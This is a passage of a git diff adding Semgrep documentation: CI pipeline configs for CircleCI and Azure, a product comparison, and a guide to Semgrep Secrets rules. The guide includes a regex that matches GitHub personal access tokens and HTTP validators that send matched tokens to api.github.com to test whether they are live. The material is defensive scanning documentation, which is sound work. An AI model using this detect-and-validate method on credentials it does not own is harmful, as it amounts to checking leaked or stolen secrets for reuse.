+You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
+
+
+
+
+## CircleCI
+
+To add Semgrep into your CircleCI pipeline:
+
+
+Create a [context](https://circleci.com/contexts/):
+
+ i. In CircleCI web app, click **Organization Settings** > **Contexts**.
+
+ ii. Click **Create Context**.
+
+ iii. Enter `semgrep` as the name for the context.
+
+ iv. Click **Add Environment Variable** and enter your `SEMGREP_APP_TOKEN`.
+
+
+Create or edit your `config.yml` configuration file in the repository you want to scan.
+
+
+Copy the relevant code snippet provided in [Sample CircleCI configuration snippet](#sample-circleci-configuration-snippet).
+
+
+If your default branch is not `main`, change the occurrences of `main` to the name of your default branch.
+
+
+Commit the updated `config.yml` configuration file into the `/.circleci` folder in the target repository.
+
+
+The Semgrep job starts automatically upon detecting the `config.yml` update.
+
+
+
+The sample configuration provides jobs for both full scanning and [diff-aware scanning](/deployment/customize-ci-jobs#set-up-diff-aware-scans), which scans only changed files in PRs or MRs. You do not need to create any other jobs.
+
+CircleCI always runs the Semgrep CI job on all commits for the default branch and tags. If you want the job to scan only branches that have an associated a pull request open, you can enable the option "Only build pull requests" in **Project Settings** > **Advanced**.
+
+### Sample CircleCI configuration snippet
+
+
+
+
+The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
+
+```yaml expandable
+version: 2.1
+workflows:
+ semgrep:
+ jobs:
+ - semgrep-full-scan:
+ filters:
+ branches:
+ only: main
+ context:
+ - semgrep
+ - semgrep-diff-scan:
+ filters:
+ branches:
+ ignore: main
+ context:
+ - semgrep
+jobs:
+ semgrep-full-scan:
+ docker:
+ - image: semgrep/semgrep
+ steps:
+ - checkout
+ - run:
+ name: "Semgrep full scan"
+ command: semgrep ci
+ semgrep-diff-scan:
+ parameters:
+ default_branch:
+ type: string
+ default: main
+ docker:
+ - image: semgrep/semgrep
+ steps:
+ - checkout
+ - run:
+ name: Semgrep diff scan
+ environment:
+ SEMGREP_BASELINE_REF: << parameters.default_branch >>
+ command: semgrep ci
+```
+
+You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
+
+
+
+
+The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
+
+```yaml expandable
+version: 2.1
+workflows:
+ semgrep:
+ jobs:
+ - semgrep-full-scan:
+ filters:
+ branches:
+ only: main
+ context:
+ - semgrep
+jobs:
+ semgrep-full-scan:
+ docker:
+ - image: semgrep/semgrep
+ steps:
+ - checkout
+ - run:
+ name: "Semgrep CE full scan"
+ command: semgrep scan --config auto
+```
+
+You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
+
+
+
+
+## Azure Pipelines
+
+
+**INFO**
+
+Scanning a project with the `semgrep ci` command requires the project to be version-controlled by Git. If you have Azure Repos that are version-controlled with [Team Foundations Version Control](https://learn.microsoft.com/en-us/azure/devops/repos/tfvc/what-is-tfvc?view=azure-devops), they must be migrated to Git to be scanned with `semgrep ci` and have results reported to the Semgrep AppSec Platform.
+
+
+To add Semgrep into Azure Pipelines:
+
+
+
+Access the YAML pipeline editor within Azure Pipelines by following the [YAML pipeline editor](https://learn.microsoft.com/en-us/azure/devops/pipelines/get-started/yaml-pipeline-editor?view=azure-devops#edit-a-yaml-pipeline) guide.
+
+
+Copy the code snippet provided in [Sample Azure Pipelines configuration snippet](#sample-azure-pipelines-configuration-snippet) into the Azure Pipelines YAML editor.
+
+
+Save the code snippet.
+
+
+Follow any additional instructions provided with the snippet.
+
+
+
+### Sample Azure Pipelines configuration snippet
+
+This configuration snippet is tested with **hosted** Azure runners. If you are using self-hosted runners, you may need to make adjustments to ensure that the necessary software is available. Consult [Semgrep with self-hosted Ubuntu runners in Azure Pipelines](/kb/semgrep-ci/azure-self-hosted-ubuntu) for two recommended options.
+
+
+
+
+The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
+
+```yaml expandable
+pool:
+ vmImage: ubuntu-latest
+variables:
+- group: Semgrep_Variables
+
+steps:
+- checkout: self
+ clean: true
+ fetchDepth: 20
+ persistCredentials: true
+# Replace master with the repository default branch if different.
+- script: |
+ python -m pip install --upgrade pipx
+ pipx install semgrep
+ if [ $(Build.SourceBranchName) = "master" ]; then
+ echo "Semgrep full scan"
+ semgrep ci
+ elif [ $(System.PullRequest.PullRequestId) -ge 0 ]; then
+ echo "Semgrep diff scan"
+ export SEMGREP_PR_ID=$(System.PullRequest.PullRequestId)
+ export SEMGREP_BASELINE_REF='origin/master'
+ git fetch origin master:origin/master
+ semgrep ci
+ fi
+ env:
+ SEMGREP_APP_TOKEN: $(SEMGREP_APP_TOKEN)
+```
+
+You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
+
+### Set environment variables in Azure Pipelines
+
+Semgrep minimally requires the variable `SEMGREP_APP_TOKEN` in order to report results to the platform, and other variables may be helpful as well. To set these variables in Azure Pipelines:
+
+
+
+Set up a [variable group](https://learn.microsoft.com/en-us/azure/devops/pipelines/library/variable-groups?view=azure-devops&tabs=classic) called `Semgrep_Variables`.
+
+
+Set `SEMGREP_APP_TOKEN` in the variable group, following the steps for [secret variables](https://learn.microsoft.com/en-us/azure/devops/pipelines/process/set-secret-variables?view=azure-devops&tabs=yaml%2Cbash#set-a-secret-variable-in-a-variable-group). The variable is mapped into the `env` in the provided config.
+
+
+Optional: Add the following environment variables to the group if you aren't seeing hyperlinks to the code that generated a finding, or if you are not receiving PR or MR comments. Review the use of these variables at [Environment variables for creating hyperlinks in Semgrep AppSec Platform](/semgrep-ci/ci-environment-variables#environment-variables-for-creating-hyperlinks-in-semgrep-appsec-platform).These variables are not sensitive and do not need to be secret variables.
+ * `SEMGREP_REPO_NAME`
+ * `SEMGREP_REPO_URL`
+ * `SEMGREP_BRANCH`
+ * `SEMGREP_COMMIT`
+ * `SEMGREP_JOB_URL`
+
+
+Set variables for diff-aware scanning. The provided config sets `SEMGREP_PR_ID` to the system variable `System.PullRequest.PullRequestId` and `SEMGREP_BASELINE_REF` to `origin/master` within the `script` section of the config. The value of `SEMGREP_BASELINE_REF` is typically your trunk or default branch, so if you use a different branch than master, update the name accordingly. as `main` or `master`.
+ * If you prefer not to implement diff-aware scanning, you can skip setting these variables and remove the `elif` section of the `script` step.
+
+
+For diff-aware scans: add a [build validation policy](https://learn.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops&tabs=browser#build-validation). Adding and enabling a branch policy for build validation is required to trigger Azure Pipelines on pull requests.
+
+
+
+
+
+
+The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
+
+```yaml
+
+steps:
+- checkout: self
+ clean: true
+ fetchDepth: 20
+ persistCredentials: true
+- script: |
+ python -m pip install --upgrade pipx
+ pipx install semgrep
+ echo "Semgrep CE full scan"
+ semgrep scan --config auto
+```
+
+You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
+
+
+
+
+## Other providers
+
+To run Semgrep CI on any other provider, use the `semgrep/semgrep` image, and run the `semgrep ci` command with `SEMGREP_BASELINE_REF` set for diff-aware scanning.
+
+
+**NOTE**:
+
+If you need to use a different Docker image or are not running in Docker, install Semgrep CI with [`pipx`](https://pipx.pypa.io/stable/how-to/install-pipx/) using `pipx install semgrep`, or with [`uv`](https://docs.astral.sh/uv/) using `uv tool install semgrep`.
+
+
+By setting various [CI environment variables](/semgrep-ci/ci-environment-variables), you can run Semgrep in the following CI providers:
+
+- AppVeyor
+- Bamboo
+- Bitrise
+- Buildbot
+- Codeship
+- Codefresh
+- Drone CI
+- Semaphore
+- TeamCity CI
+- Travis CI
+
+Is your CI provider missing? Let the Semgrep team know by [ filing an issue](https://github.com/semgrep/semgrep-docs/issues/), or [ submit a contribution](https://github.com/semgrep/semgrep-docs/pulls/).
diff --git a/mintlify-docs/snippets/semgrep-pro-vs-oss.mdx b/mintlify-docs/snippets/semgrep-pro-vs-oss.mdx
new file mode 100644
index 0000000000..532e7909bb
--- /dev/null
+++ b/mintlify-docs/snippets/semgrep-pro-vs-oss.mdx
@@ -0,0 +1,417 @@
+
+You can use **Semgrep AppSec Platform (Semgrep)** or **Semgrep Community Edition (Semgrep CE)** to scan your code for security issues, bugs, and compliance to coding standards. However, there are key differences between the two offerings.
+
+
+
+**TIP**
+
+Refer to the [appendix](#appendix) to skim all features of both offerings.
+
+
+
+## Product terms
+
+The offerings in this document are defined as follows:
+
+**Semgrep Community Edition (Semgrep CE)**
+ Includes an open source, lightweight SAST scanner and rules in the [Semgrep Registry](https://semgrep.dev/r/) with **open source licenses**. You can also write your own custom rules. Semgrep CE also includes the Visual Studio Code (VS Code) and IntelliJ extensions. The Community Edition is best for small teams or personal projects.
+
+**Semgrep AppSec Platform (Semgrep)**
+ Refers to a proprietary software suite tailored to support AppSec engineers through the entire software development life cycle (SDLC). Best for deploying security programs throughout their organization. Many of Semgrep's features support the deployment of [secure guardrails](/secure-guardrails/secure-guardrails-in-semgrep). Semgrep includes the following products:
+
+**Semgrep Code**
+ A SAST scanner that uses cross-file (interfile) and cross-function (intrafile) analysis for improved results over Semgrep Community Edition. Semgrep Code includes rules written by Semgrep's Security Research team, called **Pro Rules**. These rules use cross-file analysis to reduce false positives.
+
+**Semgrep Supply Chain**
+ A high-signal dependency scanner that detects reachable vulnerabilities in open source third-party libraries and functions across the software development life cycle (SDLC).
+
+**Semgrep Secrets**
+ A secrets scanner that, in addition to detecting secrets, validates these leaked secrets on a variety of services to help you prioritize active secrets.
+
+
+**NOTE**
+
+Semgrep Code and Semgrep Supply Chain are free for up to 10 contributors.
+
+
+## Comparison by core workflows
+
+
+
+
+
+### Deployment
+
+_The process of integrating Semgrep into your developer and infrastructure workflows._
+
+
+
+
+##### Semgrep Community Edition
+
+Semgrep CE runs in your local machine's CLI through the `semgrep scan` command.
+
+Deploying in bulk or at scale is a manual task. Semgrep CE can scan a remote repository by running as part of a CI job but you must write and configure the CI job for each repository.
+
+
+
+
+##### Semgrep AppSec Platform
+
+Semgrep can scan in the following environments:
+
+- CI
+- Web app (for Managed Scans)
+- CLI
+- IDE
+- `pre-commit`
+
+Your scan configuration, such as rules and policies, and scan analysis (SAST, SCA, or secrets) are preserved across all environments.
+
+Users comfortable with granting Semgrep code access can quickly deploy Semgrep to thousands of repositories through [Managed Scans](/deployment/managed-scanning/overview).
+
+Semgrep supports various CI providers and source code managers (SCMs) such as GitHub, GitLab, Bitbucket, and Azure.
+
+
+
+
+### Scanning and analyses
+
+_The process of analyzing source code for findings. This section explains the analyses available to both product offerings._
+
+
+
+
+##### Semgrep Community Edition
+
+Semgrep CE provides the following SAST analyses:
+
+- Single file, cross function constant propagation
+- Single function taint analysis
+- Semantic analysis
+
+The limited scope makes it fast, at the cost of coverage and precision.
+
+It can't track data beyond a single function or file and may find more false positives.
+
+
+
+
+##### Semgrep AppSec Platform
+
+Semgrep supports SAST, SCA, and secret scans as listed in [Product terms](#product-terms). You can run these **scan types** across all of your environments, preserving any configuration you have made.
+
+
+
+- Cross file, cross function constant propagation
+- Cross file, cross function taint analysis
+- Framework and language-specific semantic analysis
+- **Semgrep Multimodal** (AI-assisted) post-processing analysis:
+ - Reduces noise by 20%
+ - Adds contextual remediation guidance
+
+
+
+- Reachability analysis
+- Open source license enforcement
+- Dependency search
+
+
+
+- Validation of active, leaked secrets
+- Entropy
+- Historical scanning
+
+
+
+Additionally, the Semgrep team maintains and contributes to premium rules, known as Pro rules, that specifically make use of the advanced analyses listed here.
+
+
+
+
+
+
+
+**TIP**
+
+Certain languages, such as Apex, are available only on Semgrep AppSec Platform.
+
+
+The following diagrams summarize the differences between the two:
+
+
+
+
+
+
+
+
+
+
+
+
+### Triage and remediation
+
+_Triage is the process of reviewing findings and determining if a finding is a true or false positive, and whether to fix the finding or not. Remediation refers to the steps taken to resolve the finding._
+
+_**Ticketing and notification integrations** are included in this workflow to inform developers of fixes and remediation guidance they may need to take to close the finding._
+
+
+
+
+##### Semgrep Community Edition
+
+###### Triage
+
+There are no out-of-the-box features in Semgrep CE for triaging findings.
+
+However, you can output findings to JSON and SARIF then send those findings to an AppSec Posture Management (ASPM) software such as DefectDojo.
+
+
+
+
+##### Semgrep AppSec Platform
+
+###### Triage
+
+Semgrep tracks a single finding throughout its lifetime from its initial creation, when its status is **Open**, to various triage states such as **Ignored**, or **Reviewing**.
+
+Developers and AppSec engineers are able to provide reasons for a finding's status, such as **Acceptable risk** or **False positive** for **Ignored** findings.
+
+Semgrep provides AI-assisted triage through Semgrep Multimodal, which can analyze all your findings to suggest which findings it thinks are false positives.
+
+
+
+- Step-by-step remediation
+- Can be viewed by developers and AppSec engineers in their preferred environment
+- Ability to learn your preferred libraries and functions through **Memories**
+
+
+
+
+Lastly, Semgrep supports the creation of tickets in Jira and various notification channels such as Slack and webhooks.
+
+
+
+
+### Tuning and prevention
+
+_Tuning refers to the improvement of Semgrep's engine, rules, and policies to improve such metrics as the true positive rate, net new findings, and findings fixed before they enter production._
+
+_Tuning assists in the prevention of vulnerabilities from entering production._
+
+
+
+
+##### Semgrep Community Edition
+
+Tuning is not supported in Semgrep CE, but you can customize the rules you run on your scans.
+
+Semgrep CE does not provide any metrics that may inform you of potential performance improvements you can make.
+
+
+
+
+##### Semgrep AppSec Platform
+
+The [Policies](/semgrep-code/policies) feature manages rules, helps block PRs or MRs from entering production, and configures which findings are presented to developers. This feature is available for both Semgrep Code and Secrets.
+
+You can test a rule's performance by first **monitoring** its performance (and showing it only in AppSec environments), then changing its mode to leave comments or help block a PR or MR from merging.
+
+You can also write custom SAST and Secrets rules and share these rules to the rest of your organization.
+
+
+
+
+### Reporting
+
+_Track the success of your security program and trends over time by generating reports._
+
+
+
+
+##### Semgrep Community Edition
+
+Semgrep CE does not include any reporting features.
+
+
+
+
+##### Semgrep AppSec Platform
+
+Semgrep's dashboard provides filters to create multiple views over different periods of time.
+
+It is optimized to show progress towards the adoption of a **secure guardrails** approach to AppSec through the following key metrics:
+
+- Findings shown to developers
+- Findings fixed before backlog (before entering production)
+- Most findings by project
+
+Semgrep Supply Chain can export SBOMs (software bills of materials) for you to keep track of all of a codebase's dependencies.
+
+
+
+
+
+
+
+
+
+_**Figure**. The dashboard page. Hover over the charts to view data for that point in time._
+
+## Appendix
+
+This section provides a comprehensive comparison of each offering's features.
+### Deployment
+
+
+
+
+##### Semgrep Community Edition
+
+- [Local scans](/getting-started/quickstart-ce)
+- [Manual CI job set up](/deployment/oss-deployment)
+- [IDE plugins](/extensions/overview)
+- [`pre-commit`](/extensions/pre-commit)
+
+
+
+
+##### Semgrep AppSec Platform
+
+- [Local scans](/getting-started/cli)
+- [Automated set up with various CI providers](/deployment/add-semgrep-to-ci) through the web app
+ - [Manual configuration options](/deployment/add-semgrep-to-other-ci-providers) for other providers
+- [IDE plugins](/extensions/overview) with persistent settings across your organization
+- [`pre-commit` with persistent settings](/extensions/overview#pre-commit) across your organization
+- Connects to [GitHub, GitLab, Bitbucket, and Azure DevOps repositories](/deployment/connect-scm)
+- Secure access between your private network and Semgrep through the [Network Broker](/semgrep-ci/network-broker)
+- Single tenancy
+- [Managed scans](/deployment/managed-scanning/overview)
+- [SSO](/deployment/sso) and managed authentication through GitHub or GitLab
+- [Project management](/deployment/manage-projects), such as tagging, setting of a primary branch, and so on; a project can either be a repository or a folder within a monorepo
+- [Team management](/deployment/teams/overview)
+
+
+
+
+### Scanning and analyses
+
+
+
+
+##### Semgrep Community Edition
+
+Semgrep CE provides cross function constant propagation and single function taint analysis.
+
+
+###### Semgrep Community Edition (SAST)
+
+- [30+ Community supported languages](/semgrep-ce-languages#semgrep-code-and-community-edition)
+- [ Community rules](https://semgrep.dev/r?visib=Community+%28Public%29)
+
+
+
+
+##### Semgrep AppSec Platform
+
+All Semgrep products make use of cross file, cross function taint analysis and more.
+
+###### Semgrep Code (SAST)
+
+- [35+ supported languages](/semgrep-ce-languages#semgrep-code-and-community-edition)
+- [ Pro (professionally written and maintained)](https://semgrep.dev/r?visib=Pro+%28Login%29) and Community rules
+- Framework-specific and language-specific analysis—see [Java examples](/semgrep-code/java) and [Python frameworks coverage](/languages/python)
+- [Code search](/semgrep-code/editor#code-search-beta)
+
+###### Semgrep Supply Chain (SCA)
+
+- [10+ supported languages](/supported-languages#semgrep-supply-chain)
+- [Manifest files, lockfiles, and reachability](/semgrep-supply-chain/overview#open-source-security-vulnerabilities) analysis
+- 100% of High and Critical CVEs covered for supported languages since May 2022
+
+###### Semgrep Secrets
+
+- [Entropy, semantic analysis, and validation](/semgrep-secrets/conceptual-overview) ensure that detected keys are actually active and leaked
+- 630+ credentials or keys detected by Semgrep Secrets
+- [Historical scans](/semgrep-secrets/historical-scanning)
+
+
+
+
+### Triage and remediation
+
+
+
+
+##### Semgrep Community Edition
+
+- You must manually set up Semgrep CE to send findings to an ASPM.
+
+
+
+
+##### Semgrep AppSec Platform
+
+- Semgrep tracks triage states and enables triage from findings in any supported environment (CLI, CI, IDE, your PR or MR). See [Code > Findings](/semgrep-code/findings) for more information.
+- Filtering by severity, confidence, and many other attributes assist in managing volume.
+- AI-assisted triage and remediation
+- AI-assisted [component tagging](/semgrep-multimodal/overview#component-tags)
+- AI-assisted [Memories](/semgrep-multimodal/overview#memories), which enable you to tell the AI organization specific libraries to suggest when guiding developers
+- [PR comments or MR comments](/category/pr-or-mr-comments) can be sent to developers in their native environment (GitHub, GitLab, Azure DevOps, Bitbucket) and developers can triage in their native development through triage commands
+- Slack, email, and webhook [notification channels](/semgrep-appsec-platform/notifications)
+- [Creation of Jira tickets](/semgrep-appsec-platform/jira) and customizable mapping of attributes
+
+
+
+
+### Tuning and prevention
+
+
+
+
+##### Semgrep Community Edition
+
+Minimal customization options to tune your scans:
+- Customize SAST scans through the rules you run in the CLI
+- Write custom SAST rules
+
+
+
+
+
+##### Semgrep AppSec Platform
+
+- Customize SAST and Secrets scans through rule selection in [policies](/semgrep-code/triage-remediation)
+- Write, save, manage, and fork custom SAST and Secrets detection rules in the [Editor](/semgrep-code/editor)
+- Store rules in Semgrep AppSec Platform and deploy to your organization
+- Policy-based workflows: Semgrep can perform workflow actions such as failing a CI job or leaving a PR comment based on user-defined policies for SAST and Secrets scans
+- Semgrep Code: [Code search](/semgrep-code/editor#code-search-beta)
+- Semgrep Supply Chain:
+ - [License compliance](/semgrep-supply-chain/license-compliance)
+ - [Dependency search](/semgrep-supply-chain/dependency-search)
+
+
+
+
+### Reporting
+
+
+
+
+##### Semgrep Community Edition
+
+- You must manually set up Semgrep CE to send findings to an ASPM.
+
+
+
+
+
+##### Semgrep AppSec Platform
+
+- [Dashboard](/semgrep-appsec-platform/dashboard)
+- [SBOM Export](/semgrep-supply-chain/sbom)
+
+
+
+
diff --git a/mintlify-docs/snippets/semgrep-secrets/rules.mdx b/mintlify-docs/snippets/semgrep-secrets/rules.mdx
new file mode 100644
index 0000000000..2f741ba339
--- /dev/null
+++ b/mintlify-docs/snippets/semgrep-secrets/rules.mdx
@@ -0,0 +1,247 @@
+## Write a rule
+
+There are two ways to write a rule for Semgrep Secrets:
+
+1. Create a YAML file.
+2. Use the Semgrep editor.
+
+### Create a YAML file
+
+If you're familiar with Semgrep's rules syntax, including the [validator syntax](/semgrep-secrets/validators), you can create a YAML file containing your rules. When you're done, [publish your rules for use with your organization](/writing-rules/private-rules/).
+
+If you want to keep your rules file local, you must pass in the `--allow-untrusted-validators` flag when calling `semgrep ci` from the CLI.
+
+### Use Semgrep Editor
+
+The Semgrep Editor, available in Semgrep AppSec Platform, can help you write custom Semgrep Secrets rules. To pull up a sample rule that you can modify:
+
+
+
+Sign in to Semgrep AppSec Platform.
+
+
+Go to **Rules > Editor**.
+
+
+Click the **+** icon and, under **Secrets**, select **HTTP validators**.
+
+
+
+Semgrep Editor allows you to modify the sample rule and run it against test code to ensure it functions as expected. When you finish making changes, click **Save** to proceed.
+
+
+**INFO**
+
+Custom validator rules are private to your organization. They are not available to the Semgrep Community.
+
+
+To run a specific rule when invoking Semgrep from the CLI:
+
+
+
+Sign in to Semgrep AppSec Platform.
+
+
+Go to **Rules > Editor**.
+
+
+Open up your rule.
+
+
+Click **Add to** Policy and select your mode: Monitor, Comment, or Blocking.
+
+
+In the CLI, start a scan by running `semgrep ci`.
+
+
+
+## Sample rule
+
+The following sample rule detects a leaked GitHub personal access token (PAT):
+
+```yaml expandable
+rules:
+- id: github_example
+ message: >-
+ This is an example rule, that performs validation against github.com
+ severity: MEDIUM
+ languages:
+ - regex
+ validators:
+ - http:
+ request:
+ headers:
+ Authorization: Bearer $REGEX
+ Host: api.github.com
+ User-Agent: Semgrep
+ method: GET
+ url: https://api.github.com/user
+ response:
+ - match:
+ - status-code: 200
+ result:
+ validity: valid
+ - match:
+ - status-code: 401
+ result:
+ validity: invalid
+ patterns:
+ - patterns:
+ - pattern-regex: (?\b((ghp|gho|ghu|ghs|ghr|github_pat)_[a-zA-Z0-9_]{36,255})\b)
+ - focus-metavariable: $REGEX
+ - metavariable-analysis:
+ analyzer: entropy
+ metavariable: $REGEX
+```
+
+This can also be done in any Semgrep-supported language:
+
+```yaml expandable
+rules:
+- id: github_example
+ message: >-
+ This is an example rule that performs validation against github.com
+ severity: MEDIUM
+ languages:
+ - javascript
+ - typescript
+ validators:
+ - http:
+ request:
+ headers:
+ Authorization: Bearer $REGEX
+ Host: api.github.com
+ User-Agent: Semgrep
+ method: GET
+ url: https://api.github.com/user
+ response:
+ - match:
+ - status-code: 200
+ result:
+ validity: valid
+ - match:
+ - status-code: 401
+ result:
+ validity: invalid
+ patterns:
+ - patterns:
+ - pattern: |
+ "$R"
+ - metavariable-pattern:
+ metavariable: $R
+ patterns:
+ - pattern-regex: (?\b((ghp|gho|ghu|ghs|ghr|github_pat)_[a-zA-Z0-9_]{36,255})\b)
+ - focus-metavariable: $REGEX
+ - metavariable-analysis:
+ analyzer: entropy
+ metavariable: $REGEX
+```
+
+### Subkeys under the `metadata` key
+
+These subkeys provide context to both you and other end-users, as well as to
+Semgrep.
+
+```yaml
+ ...
+ metadata:
+ ...
+ secret_type: GitHub
+ technology:
+ - secrets
+ ...
+```
+| Key | Description |
+| ------- | ------ |
+| `secret_type` | Defines the name of the service or the type of secret. When writing a custom validator, set this value to a descriptive name to help identify it when triaging secrets. Examples of secret types include "Slack," "Asana," and other common service names. |
+| `technology` | Set this to `secrets` to identify the rule as a Secrets rule. |
+
+### Subkeys under the `patterns` key
+
+These subkeys identify the token to analyze in a given match.
+
+```yaml
+ ...
+ patterns:
+ ...
+ - pattern-regex: (?\b((ghp|gho|ghu|ghs|ghr|github_pat)_[a-zA-Z0-9_]{36,255})\b)
+ - focus-metavariable: $REGEX
+ - metavariable-analysis:
+ analyzer: entropy
+ metavariable: $REGEX
+ ..
+```
+
+| Key | Description |
+| ------- | ------ |
+| `pattern-regex` | Searches for a regular expression and assigns it to the named capture group regex, which is then used as $REGEX. |
+| `focus_metavariable` | This key enables the rule to define a metavariable upon which Semgrep can perform further analysis, such as entropy analysis. |
+| `metavariable_analysis` | Under `metavariable_analysis`, you can define additional keys: `analyzer` and `metavariable`. These specify the kind of analysis Semgrep performs and on what variable. |
+
+
+**TIP**
+
+For more information, see the rule syntax for [ Focus metavariable](/writing-rules/rule-syntax/#focus-metavariable).
+
+
+### Subkeys under the `validators` and `http` keys
+
+The `validators` key uses a list of keys to define the validator function. In
+particular, the `http` key defines how the rule forms a request object and what
+response is expected for valid and invalid states. Although some rules do not use a `validators` key, most Secrets rules use it.
+
+```yaml
+ ...
+ validators:
+ - http:
+ request:
+ headers:
+ Authorization: Bearer $REGEX
+ Host: api.github.com
+ User-Agent: Semgrep
+ method: GET
+ url: https://api.github.com/user
+ response:
+ - match:
+ - status-code: '200'
+ result:
+ validity: valid
+ - match:
+ - status-code: '404'
+ result:
+ validity: invalid
+```
+
+| Key | Description |
+| ------- | ------ |
+| `request` | This key and its subkeys describe the request object and the URL to send the request object to. |
+| `response` | This key and its subkeys determine **validation status**. Semgrep Secrets identifies a validation status through HTTP status code **and** other key-value pairs. For example, a rule may require a 200 status code **and** a `"message": "ok"` in the response body for the matching secret to be considered **Confirmed valid**. |
+
+
+**TIP**
+
+See [ Validators](/semgrep-secrets/validators) for more information.
+
+
+## Metavariable binding
+
+Semgrep Secrets can use metavariables. Metavariables allow Semgrep Secrets to reuse matched information from your code in its validators. An example of a metavariable is as follows:
+
+
+
+
+
+When you click **Run**, the content from the metavariable `$HELLO` displays as `This content is now reusable in validators`. If this were a Secrets rule, Semgrep Secrets could use this to call the appropriate service to determine if the secret is active.
+
+## Differences between Semgrep Secrets rules and Semgrep Registry rules
+
+The Semgrep Registry includes SAST rules that can detect secrets to a certain
+extent. You can run these rules in Semgrep Code (Semgrep's SAST analyzer), or
+even write your own custom secret-detecting SAST rules, but with the following
+differences:
+
+* Semgrep Code does not run a validator function against these rules, resulting in less accurate results.
+ * Because the results are less accurate, these rules are not suitable as criteria to block a PR or MR.
+* The UI for Semgrep Code is tailored to SAST triage and does not include filtering functions for valid or invalid tokens.
+* Existing Semgrep Pro rules that detect secrets are transitioning from Semgrep Code to Semgrep Secrets. By transitioning these rules, improvements, such as validator functions, can be added to the rules when they are run in Semgrep Secrets.
+* You can write your own custom validator functions and run them in Semgrep Secrets for custom services or use cases.
diff --git a/mintlify-docs/snippets/semgrep-secrets/validators.mdx b/mintlify-docs/snippets/semgrep-secrets/validators.mdx
new file mode 100644
index 0000000000..98028f972a
--- /dev/null
+++ b/mintlify-docs/snippets/semgrep-secrets/validators.mdx
@@ -0,0 +1,338 @@
+[Semgrep Secrets](/semgrep-secrets/conceptual-overview) uses proprietary **validators** to determine if a secret is
+actively being used. Validators are included in the [rules](/semgrep-secrets/rules) that Semgrep Secrets uses.
+
+This article walks you through the syntax required to write your own custom
+validators.
+
+
+
+**NOTE**
+
+- The syntax for Semgrep Secrets validators is experimental and subject to change.
+- Semgrep currently supports validation using HTTP and HTTPS.
+
+
+## Sample validator
+
+```yaml
+validators:
+- http:
+ request:
+ headers:
+ Authorization: Bearer $REGEX
+ Host: api.semgrep.dev
+ User-Agent: Semgrep
+ method: GET
+ url: https://api.semgrep.dev/user
+ response:
+ - match:
+ - status-code: 200
+ result:
+ validity: valid
+ - match:
+ - status-code: 401
+ result:
+ validity: invalid
+```
+
+
+
+
+```yaml
+rules:
+- id: exampleCo_example
+ message: >-
+ This is an example rule that performs validation against semgrep.dev
+ severity: MEDIUM
+ metadata:
+ product: secrets
+ secret_type: exampleCo
+ languages:
+ - regex
+ validators:
+ - http:
+ request:
+ headers:
+ Authorization: Bearer $REGEX
+ Host: api.semgrep.dev
+ User-Agent: Semgrep
+ method: GET
+ url: https://api.semgrep.dev/user
+ response:
+ - match:
+ - status-code: 200
+ result:
+ validity: valid
+ - match:
+ - status-code: 401
+ result:
+ validity: invalid
+ patterns:
+ - patterns:
+ - pattern-regex: (?\b(someprefix_someRegex[0-9A-Z]{32})\b)
+ - focus-metavariable: $REGEX
+ - metavariable-analysis:
+ analyzer: entropy
+ metavariable: $REGEX
+```
+
+
+## Syntax
+
+### validator
+
+| Key | Required | Description |
+| - | - | - |
+| validator | Yes | Used to define a list of validators within a Semgrep rule. |
+
+### type
+
+| Key | Required | Description |
+| - | - | - |
+| http | Yes | Indicates that the request type is `http`. |
+
+
+
+**NOTE**
+
+Semgrep only supports web services with HTTP(S).
+
+
+### request
+
+| Key | Required | Description |
+| - | - | - |
+| request | Yes | Describes the request object and the URL to which the request object should be sent |
+| method | Yes | The HTTP method Semgrep uses to make the call. Accepted values: `GET`, `POST`, `PUT`, `DELETE`, `OPTIONS`, `PATCH` |
+| url | Yes | The URL to which the call is made |
+| headers | Yes | The headers to include with the call |
+| body | No | The body used with `POST`, `PUT`, and `PATCH` requests |
+
+
+#### Subkeys for `headers`
+
+The following keys are for use with `headers`:
+
+| Key | Required | Description |
+| - | - | - |
+| Host | No | The host to which the call is made. Only the `url` field is required, but you can override the host if needed |
+| Other-values | No | The request header. Accepts all values, including `Authorization`, `Content-Type`, `User-Agent`, and so on |
+
+#### Example
+
+```yaml
+request:
+ headers:
+ Authorization: Bearer $REGEX
+ Host: api.semgrep.dev
+ User-Agent: Semgrep
+ method: GET
+ url: https://api.semgrep.dev/user
+```
+
+### response
+
+The response key is used to determine the validation state. It accepts a list of objects with the Subkeys `match` and `result`.
+
+| Key | Required | Description |
+| - | - | - |
+| match | Yes | Defines the list of match conditions. |
+| result | Yes | Defines the validity. Accepted values: `Valid`, `Invalid` |
+
+#### Subkeys for `match`
+
+Match accepts a list of objects. No specific key is required, but at least one key must be present.
+
+| Key | Description |
+| :--- | :--- |
+| status-code | The HTTP status code expected by Semgrep Secrets for it to consider the secret a match |
+| content | The response body; you can inspect it for a specific value to determine if the request is valid. An example of where this is useful is when both invalid and valid responses return the same status code |
+| headers | Accepts a list of objects with the keys name/value they must be exact values |
+
+
+#### Subkeys for `result`
+
+| Key | Required | Description |
+| - | - | - |
+| validity | Yes | Sets the validity based on the HTTP status code received. Accepted values: `valid` and `invalid` |
+| message | No | Used to override the rule message based on the secret's validation state |
+| metadata | No | Used to override existing metadata fields or add new metadata fields based on the secret's validity state |
+| severity | No | Used to override the existing rule severity based on the validation state |
+
+Use `severity` in the result to set finding severity based on validation status. For example, if the secret is invalid, the `severity` may be `MEDIUM` or `LOW`.
+
+#### Subkeys for `content`
+
+| Key | Required | Description |
+| - | - | - |
